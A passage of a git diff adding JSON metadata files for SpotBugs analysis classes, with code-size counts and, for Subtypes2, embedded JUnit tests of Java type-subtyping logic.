Tool/Spotbugs/Rule Information/checkers/ba/bcp/Invoke.json @@ -0,0 +1,13 @@ +{ + "name": "Invoke", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 248, + "branches": 11, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Load.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Load.json new file mode 100644 index 0000000..85c6f5a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Load.json @@ -0,0 +1,13 @@ +{ + "name": "Load", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 4, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/LocalVariable.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/LocalVariable.json new file mode 100644 index 0000000..afa8235 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/LocalVariable.json @@ -0,0 +1,13 @@ +{ + "name": "LocalVariable", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/LongOrDoubleLocalVariable.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/LongOrDoubleLocalVariable.json new file mode 100644 index 0000000..4cd677b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/LongOrDoubleLocalVariable.json @@ -0,0 +1,13 @@ +{ + "name": "LongOrDoubleLocalVariable", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/MatchAny.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/MatchAny.json new file mode 100644 index 0000000..177373e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/MatchAny.json @@ -0,0 +1,13 @@ +{ + "name": "MatchAny", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 108, + "branches": 6, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/MatchResult.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/MatchResult.json new file mode 100644 index 0000000..a235fe2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/MatchResult.json @@ -0,0 +1,13 @@ +{ + "name": "MatchResult", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Monitorenter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Monitorenter.json new file mode 100644 index 0000000..e5faf8b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Monitorenter.json @@ -0,0 +1,13 @@ +{ + "name": "Monitorenter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 62, + "branches": 4, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/New.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/New.json new file mode 100644 index 0000000..b135c8b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/New.json @@ -0,0 +1,13 @@ +{ + "name": "New", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/OneVariableInstruction.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/OneVariableInstruction.json new file mode 100644 index 0000000..d1eeb7a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/OneVariableInstruction.json @@ -0,0 +1,13 @@ +{ + "name": "OneVariableInstruction", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 7, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Opcode.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Opcode.json new file mode 100644 index 0000000..3ad998e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Opcode.json @@ -0,0 +1,13 @@ +{ + "name": "Opcode", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 74, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/PatternElement.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/PatternElement.json new file mode 100644 index 0000000..60676bc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/PatternElement.json @@ -0,0 +1,13 @@ +{ + "name": "PatternElement", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 232, + "branches": 17, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/PatternElementMatch.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/PatternElementMatch.json new file mode 100644 index 0000000..03c9c30 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/PatternElementMatch.json @@ -0,0 +1,13 @@ +{ + "name": "PatternElementMatch", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 191, + "branches": 12, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/PatternMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/PatternMatcher.json new file mode 100644 index 0000000..ad588bf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/PatternMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "PatternMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 566, + "branches": 63, + "apis": 88, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/SingleInstruction.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/SingleInstruction.json new file mode 100644 index 0000000..ce6562c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/SingleInstruction.json @@ -0,0 +1,13 @@ +{ + "name": "SingleInstruction", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 50, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Store.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Store.json new file mode 100644 index 0000000..0da1fb7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Store.json @@ -0,0 +1,13 @@ +{ + "name": "Store", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 4, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Variable.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Variable.json new file mode 100644 index 0000000..8f0de8a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Variable.json @@ -0,0 +1,13 @@ +{ + "name": "Variable", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 32, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Wild.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Wild.json new file mode 100644 index 0000000..d4c5bfc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Wild.json @@ -0,0 +1,13 @@ +{ + "name": "Wild", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 107, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/package-info.json new file mode 100644 index 0000000..efb6d00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/Call.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/Call.json new file mode 100644 index 0000000..bc5c3af --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/Call.json @@ -0,0 +1,13 @@ +{ + "name": "Call", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/CallList.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/CallList.json new file mode 100644 index 0000000..d86bc23 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/CallList.json @@ -0,0 +1,13 @@ +{ + "name": "CallList", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 134, + "branches": 10, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/CallListAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/CallListAnalysis.json new file mode 100644 index 0000000..8bd87ed --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/CallListAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "CallListAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 161, + "branches": 6, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/CallListDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/CallListDataflow.json new file mode 100644 index 0000000..fb6f109 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/CallListDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "CallListDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 33, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/package-info.json new file mode 100644 index 0000000..efb6d00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/ClassVertex.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/ClassVertex.json new file mode 100644 index 0000000..d281f23 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/ClassVertex.json @@ -0,0 +1,13 @@ +{ + "name": "ClassVertex", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 206, + "branches": 13, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InheritanceEdge.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InheritanceEdge.json new file mode 100644 index 0000000..b4abf5f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InheritanceEdge.json @@ -0,0 +1,13 @@ +{ + "name": "InheritanceEdge", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 36, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InheritanceGraph.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InheritanceGraph.json new file mode 100644 index 0000000..cf66218 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InheritanceGraph.json @@ -0,0 +1,13 @@ +{ + "name": "InheritanceGraph", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 3, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InheritanceGraphVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InheritanceGraphVisitor.json new file mode 100644 index 0000000..54c11db --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InheritanceGraphVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "InheritanceGraphVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 7, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InterproceduralCallGraph.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InterproceduralCallGraph.json new file mode 100644 index 0000000..c27c5c9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InterproceduralCallGraph.json @@ -0,0 +1,13 @@ +{ + "name": "InterproceduralCallGraph", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 82, + "branches": 3, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InterproceduralCallGraphEdge.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InterproceduralCallGraphEdge.json new file mode 100644 index 0000000..9e1920c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InterproceduralCallGraphEdge.json @@ -0,0 +1,13 @@ +{ + "name": "InterproceduralCallGraphEdge", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InterproceduralCallGraphVertex.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InterproceduralCallGraphVertex.json new file mode 100644 index 0000000..9e60da8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InterproceduralCallGraphVertex.json @@ -0,0 +1,13 @@ +{ + "name": "InterproceduralCallGraphVertex", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/OverriddenMethodsVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/OverriddenMethodsVisitor.json new file mode 100644 index 0000000..d56c1f4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/OverriddenMethodsVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "OverriddenMethodsVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 100, + "branches": 9, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/Subtypes2.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/Subtypes2.json new file mode 100644 index 0000000..2f79764 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/Subtypes2.json @@ -0,0 +1,149 @@ +{ + "name": "Subtypes2", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1407, + "branches": 161, + "apis": 267, + "test": [ + { + "description": "testStringSubtypeOfObject", + "expected-problems": null, + "expected-linenumbers": [ + 131, + 146 + ], + "code": "@Test\n void testStringSubtypeOfObject() throws Throwable {\n executeFindBugsTest(new RunnableWithExceptions() {\n /*\n * (non-Javadoc)\n *\n * @see edu.umd.cs.findbugs.RunnableWithExceptions#run()\n */\n @Override\n public void run() throws Throwable {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertTrue(test.isSubtype(typeString, typeObject));\n }\n });\n }" + }, + { + "description": "testStringSubtypeOfSerializable", + "expected-problems": null, + "expected-linenumbers": [ + 148, + 163 + ], + "code": "@Test\n void testStringSubtypeOfSerializable() throws Throwable {\n executeFindBugsTest(new RunnableWithExceptions() {\n /*\n * (non-Javadoc)\n *\n * @see edu.umd.cs.findbugs.RunnableWithExceptions#run()\n */\n @Override\n public void run() throws Throwable {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertTrue(test.isSubtype(typeString, typeSerializable));\n }\n });\n }" + }, + { + "description": "testIdentitySubtype", + "expected-problems": null, + "expected-linenumbers": [ + 165, + 182 + ], + "code": "@Test\n void testIdentitySubtype() throws Throwable {\n executeFindBugsTest(new RunnableWithExceptions() {\n /*\n * (non-Javadoc)\n *\n * @see edu.umd.cs.findbugs.RunnableWithExceptions#run()\n */\n @Override\n public void run() throws Throwable {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertTrue(test.isSubtype(typeObject, typeObject));\n Assertions.assertTrue(test.isSubtype(typeSerializable, typeSerializable));\n Assertions.assertTrue(test.isSubtype(typeArrayClonable, typeArrayClonable));\n }\n });\n }" + }, + { + "description": "testInterfaceIsSubtypeOfObject", + "expected-problems": null, + "expected-linenumbers": [ + 184, + 194 + ], + "code": "@Test\n void testInterfaceIsSubtypeOfObject() throws Throwable {\n executeFindBugsTest(new RunnableWithExceptions() {\n @Override\n public void run() throws ClassNotFoundException {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertTrue(test.isSubtype(typeClonable, typeObject));\n }\n });\n }" + }, + { + "description": "testArrays", + "expected-problems": null, + "expected-linenumbers": [ + 196, + 212 + ], + "code": "@Test\n void testArrays() throws Throwable {\n executeFindBugsTest(new RunnableWithExceptions() {\n /*\n * (non-Javadoc)\n *\n * @see edu.umd.cs.findbugs.RunnableWithExceptions#run()\n */\n @Override\n public void run() throws Throwable {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertTrue(test.isSubtype(typeArrayClonable, typeObject));\n Assertions.assertTrue(test.isSubtype(typeArrayClonable, typeArrayObject));\n }\n });\n }" + }, + { + "description": "testUnrelatedTypes", + "expected-problems": null, + "expected-linenumbers": [ + 214, + 229 + ], + "code": "@Test\n void testUnrelatedTypes() throws Throwable {\n executeFindBugsTest(new RunnableWithExceptions() {\n /*\n * (non-Javadoc)\n *\n * @see edu.umd.cs.findbugs.RunnableWithExceptions#run()\n */\n @Override\n public void run() throws Throwable {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertFalse(test.isSubtype(typeInteger, typeString));\n }\n });\n }" + }, + { + "description": "testArraysWrongDimension", + "expected-problems": null, + "expected-linenumbers": [ + 231, + 246 + ], + "code": "@Test\n void testArraysWrongDimension() throws Throwable {\n executeFindBugsTest(new RunnableWithExceptions() {\n /*\n * (non-Javadoc)\n *\n * @see edu.umd.cs.findbugs.RunnableWithExceptions#run()\n */\n @Override\n public void run() throws Throwable {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertFalse(test.isSubtype(typeArrayArrayString, typeArrayString));\n }\n });\n }" + }, + { + "description": "testMultidimensionalArrayIsSubtypeOfObjectArray", + "expected-problems": null, + "expected-linenumbers": [ + 248, + 265 + ], + "code": "@Test\n void testMultidimensionalArrayIsSubtypeOfObjectArray() throws Throwable {\n executeFindBugsTest(new RunnableWithExceptions() {\n /*\n * (non-Javadoc)\n *\n * @see edu.umd.cs.findbugs.RunnableWithExceptions#run()\n */\n @Override\n public void run() throws Throwable {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertTrue(test.isSubtype(typeArrayArrayString, typeArrayObject));\n Assertions.assertTrue(test.isSubtype(typeArrayArraySerializable, typeArrayObject));\n Assertions.assertTrue(test.isSubtype(typeArrayArrayInt, typeArrayObject));\n }\n });\n }" + }, + { + "description": "testArrayOfPrimitiveIsSubtypeOfObject", + "expected-problems": null, + "expected-linenumbers": [ + 267, + 282 + ], + "code": "@Test\n void testArrayOfPrimitiveIsSubtypeOfObject() throws Throwable {\n executeFindBugsTest(new RunnableWithExceptions() {\n /*\n * (non-Javadoc)\n *\n * @see edu.umd.cs.findbugs.RunnableWithExceptions#run()\n */\n @Override\n public void run() throws Exception {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertTrue(test.isSubtype(typeArrayInt, typeObject));\n }\n });\n }" + }, + { + "description": "testSpecialStringSubclasses", + "expected-problems": null, + "expected-linenumbers": [ + 284, + 301 + ], + "code": "@Test\n void testSpecialStringSubclasses() throws Exception {\n executeFindBugsTest(new RunnableWithExceptions() {\n /*\n * (non-Javadoc)\n *\n * @see edu.umd.cs.findbugs.RunnableWithExceptions#run()\n */\n @Override\n public void run() throws Exception {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertTrue(test.isSubtype(typeDynamicString, typeString));\n Assertions.assertTrue(test.isSubtype(typeStaticString, typeString));\n Assertions.assertTrue(test.isSubtype(typeParameterString, typeString));\n }\n });\n }" + }, + { + "description": "testEasyFirstCommonSuperclass", + "expected-problems": null, + "expected-linenumbers": [ + 303, + 324 + ], + "code": "@Test\n void testEasyFirstCommonSuperclass() throws Exception {\n executeFindBugsTest(new RunnableWithExceptions() {\n /*\n * (non-Javadoc)\n *\n * @see edu.umd.cs.findbugs.RunnableWithExceptions#run()\n */\n @Override\n public void run() throws Throwable {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertEquals(typeObject, test.getFirstCommonSuperclass(typeObject, typeObject));\n Assertions.assertEquals(typeString, test.getFirstCommonSuperclass(typeString, typeString));\n Assertions.assertEquals(typeObject, test.getFirstCommonSuperclass(typeString, typeObject));\n Assertions.assertEquals(typeObject, test.getFirstCommonSuperclass(typeObject, typeString));\n\n // Slightly harder one\n Assertions.assertEquals(typeComparable, test.getFirstCommonSuperclass(typeString, typeInteger));\n }\n });\n }" + }, + { + "description": "testInterfaceFirstCommonSuperclass", + "expected-problems": null, + "expected-linenumbers": [ + 326, + 345 + ], + "code": "@Test\n void testInterfaceFirstCommonSuperclass() throws Exception {\n executeFindBugsTest(new RunnableWithExceptions() {\n /*\n * (non-Javadoc)\n *\n * @see edu.umd.cs.findbugs.RunnableWithExceptions#run()\n */\n @Override\n public void run() throws Throwable {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertEquals(typeObject, test.getFirstCommonSuperclass(typeSerializable, typeObject));\n Assertions.assertEquals(typeObject, test.getFirstCommonSuperclass(typeObject, typeSerializable));\n Assertions.assertEquals(typeObject, test.getFirstCommonSuperclass(typeSerializable, typeClonable));\n\n Assertions.assertEquals(typeSerializable, test.getFirstCommonSuperclass(typeSerializable, typeSerializable));\n }\n });\n }" + }, + { + "description": "testArrayFirstCommonSuperclass", + "expected-problems": null, + "expected-linenumbers": [ + 347, + 374 + ], + "code": "@Test\n void testArrayFirstCommonSuperclass() throws Exception {\n executeFindBugsTest(new RunnableWithExceptions() {\n /*\n * (non-Javadoc)\n *\n * @see edu.umd.cs.findbugs.RunnableWithExceptions#run()\n */\n @Override\n public void run() throws Throwable {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertEquals(typeObject, test.getFirstCommonSuperclass(typeArrayInteger, typeObject));\n Assertions.assertEquals(typeObject, test.getFirstCommonSuperclass(typeSerializable, typeArrayClonable));\n\n Assertions.assertEquals(typeArrayComparable, test.getFirstCommonSuperclass(typeArrayString, typeArrayInteger));\n\n Assertions.assertEquals(typeArrayInt, test.getFirstCommonSuperclass(typeArrayInt, typeArrayInt));\n Assertions.assertEquals(typeObject, test.getFirstCommonSuperclass(typeArrayChar, typeArrayInt));\n\n Assertions.assertEquals(typeObject, test.getFirstCommonSuperclass(typeArrayString, typeArrayInt));\n\n Assertions.assertEquals(typeArrayObject, test.getFirstCommonSuperclass(typeArrayArraySerializable, typeArrayString));\n\n Assertions.assertEquals(typeObject, test.getFirstCommonSuperclass(typeArrayArrayString, typeArrayInt));\n }\n });\n }" + }, + { + "description": "testArrayFirstCommonSuperclassTricky", + "expected-problems": null, + "expected-linenumbers": [ + 376, + 393 + ], + "code": "@Test\n void testArrayFirstCommonSuperclassTricky() throws Exception {\n executeFindBugsTest(new RunnableWithExceptions() {\n\n @Override\n public void run() throws Throwable {\n Subtypes2 test = getSubtypes2();\n\n Assertions.assertEquals(typeArrayObject, test.getFirstCommonSuperclass(typeArrayArrayInt, typeArrayArrayChar));\n Assertions.assertEquals(typeArrayObject, test.getFirstCommonSuperclass(typeArrayArrayInt, typeArrayArrayArrayChar));\n Assertions.assertEquals(typeArrayArrayObject, test.getFirstCommonSuperclass(typeArrayArrayArrayChar, typeArrayArrayArrayInt));\n\n // Sanity check\n Assertions.assertEquals(typeArrayArrayArrayChar,\n test.getFirstCommonSuperclass(typeArrayArrayArrayChar, typeArrayArrayArrayChar));\n }\n });\n }" + }, + { + "description": "testInterfaces", + "expected-problems": null, + "expected-linenumbers": [ + 395, + 413 + ], + "code": "@Test\n void testInterfaces() throws Exception {\n executeFindBugsTest(new RunnableWithExceptions() {\n\n @Override\n public void run() throws Throwable {\n Subtypes2 test = getSubtypes2();\n Assertions.assertEquals(typeCollection, test.getFirstCommonSuperclass(typeCollection, typeHashSet));\n Assertions.assertEquals(typeCollection, test.getFirstCommonSuperclass(typeHashSet, typeCollection));\n Assertions.assertEquals(typeCollection, test.getFirstCommonSuperclass(typeList, typeHashSet));\n\n }\n });\n /*\n * ObjectType typeList; ObjectType typeMap; ObjectType typeCollection;\n * ObjectType typeHashSet;\n */\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/SupertypeTraversalVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/SupertypeTraversalVisitor.json new file mode 100644 index 0000000..28153c9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/SupertypeTraversalVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "SupertypeTraversalVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 45, + "branches": 5, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule 